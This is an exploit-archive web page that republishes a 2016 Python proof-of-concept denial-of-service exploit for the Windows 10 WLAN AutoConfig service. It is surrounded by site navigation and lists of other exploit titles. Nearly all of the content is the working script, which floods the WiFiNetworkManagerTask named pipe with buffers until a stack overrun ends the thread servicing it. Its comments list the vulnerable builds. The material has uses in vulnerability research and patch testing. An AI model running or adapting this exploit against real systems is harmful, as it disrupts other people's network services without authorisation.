首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Windows 10 x86/x64 WLAN AutoConfig - Denial of Service (POC)
来源:jbrown3264/gmail 作者:Brown 发布时间:2016-12-07  
#!/usr/bin/python
# wlanautoconfig-poc.py
#
# Windows WLAN AutoConfig Named Pipe POC
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2016
#
# >  wifinetworkmanager.dll!__FatalError(char const *,unsigned # long,char const *, ...)
#   AsyncPipe::ReadCompletedCallback(void)
#   AsyncPipe::Dispatch(int,void *,void *, ...)
#   Synchronizer::EnqueueEvent(...)
#   AsyncPipe::ReadCompletedStatic(...)
#
# --> STATUS_STACK_BUFFER_OVERRUN @ svchost.exe
#
# Tested:
#
# Windows 10 x86/x64 BUILD 10.0.14393 (vulnerable)
# Windows Server 2012 R2 x64 (not vulnerable, service doesn't create pipe)
#
# Dependencies:
#
# pip install pypiwin32
#
# Notes:
#
# This won't kill Wlansvc service, but the thread servicing the pipe will terminate
#
 
import win32file
import pywintypes
import msvcrt
 
BUF_SIZE = 4096
PIPE_NAME = r'\\.\pipe\WiFiNetworkManagerTask'
 
def main():
    try:
        handle = win32file.CreateFile(PIPE_NAME, win32file.GENERIC_WRITE, 0, None, win32file.OPEN_EXISTING, 0, None)
    except Exception:
        print("Error: CreateFile() failed\n")
        return
 
    fd = msvcrt.open_osfhandle(handle, 0)
 
    if(fd < 0):
        print("Error: open_osfhandle() failed\n")
        return
 
    buf = bytearray(b'\x42' * BUF_SIZE)
 
    # exact number here could vary, keeping it simple
    while True:
        win32file.WriteFile(handle, buf)
 
 
if __name__ == "__main__":
    main()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Internet Explorer js
·Dual DHCP DNS Server 7.29 - De
·Microsoft Edge - CBaseScriptab
·TP-LINK TD-W8951ND - Denial of
·Microsoft Internet Explorer 9
·OpenSSH 7.2 - Denial of Servic
·Microsoft Edge - CMarkup::Ensu
·Microsoft Internet Explorer 9
·Microsoft Edge - JSON.parse In
·Microsoft Internet Explorer 9
·Microsoft PowerShell - XML Ext
·Microsoft Internet Explorer 9
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved